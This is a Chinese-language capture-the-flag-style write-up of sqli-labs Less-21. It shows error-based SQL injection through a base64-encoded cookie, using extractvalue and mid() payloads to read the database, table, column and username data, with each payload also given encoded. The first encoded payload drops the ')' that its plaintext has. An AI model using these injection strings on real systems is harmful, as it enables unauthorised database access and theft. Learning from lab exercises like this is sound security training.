【网络安全】sqli-labs Less-21 解题详析

正文

该题考察base64加密的cookie注入

该题有两种注入方式，本文分享手工注入知识，另一种是sqlmap加密注入。

sqlmap加密注入参考： 【网络安全】sqlmap加密注入教程+实战详析

经测试得到正确的用户名dumb，密码dumb并抓包

RHVtYg%3D%3D 经过base64解密得到 Dumb ，故可利用cookie参数进行sql语句注入

该题采用报错注入，原理及姿势可参考：【报错注入 | sqli-labs Less-5实战】

查库名

Dumb') and extractvalue(1,concat(0x23,database()))#

这里构造’)的原因可通过页面回显得出，不再赘述。

经过加密得到：

RHVtYicgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDIzLGRhdGFiYXNlKCkpKSM=

可知库名为security

查表名

Dumb') and extractvalue(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema = database())))#

加密后得到：

RHVtYicpIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHgyMywoc2VsZWN0IGdyb3VwX2NvbmNhdCh0YWJsZV9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hID0gZGF0YWJhc2UoKSkpKSM=

得到四个表名

查列名

Dumb') and extractvalue(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users')))#

加密后得到

RHVtYicpIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHgyMywoc2VsZWN0IGdyb3VwX2NvbmNhdChjb2x1bW5fbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyB3aGVyZSB0YWJsZV9zY2hlbWEgPSBkYXRhYmFzZSgpIGFuZCB0YWJsZV9uYW1lID0gJ3VzZXJzJykpKSM=

得到三个列：

查数据

该姿势使用到mid函数，参考文章： 【mid函数原理、应用及实战讲解】

以获取username列的数据为例，利用mid函数构造POC：

Dumb') and extractvalue(1,concat(0x23,mid((select group_concat(username) from users),1,32)))#

加密后得到：

RHVtYicpIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHgyMyxtaWQoKHNlbGVjdCBncm91cF9jb25jYXQodXNlcm5hbWUpIGZyb20gdXNlcnMpLDEsMzIpKSkj

结果如图：

接着，我们提取从第 32 个字符开始的长度为 32 的子字符串：

POC如下：

Dumb') and extractvalue(1,concat(0x23,mid((select group_concat(username) from security.users),32,32)))#

加密后得到：

RHVtYicpIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHgyMyxtaWQoKHNlbGVjdCBncm91cF9jb25jYXQodXNlcm5hbWUpIGZyb20gc2VjdXJpdHkudXNlcnMpLDMyLDMyKSkpIw==

结果如图：

总结

以上为【网络安全】sqli-labs Less-21 解题详析，考察base64加密、报错注入、mid函数等知识点及姿势，后续将分享【网络安全】sqli-labs Less-22 解题详析。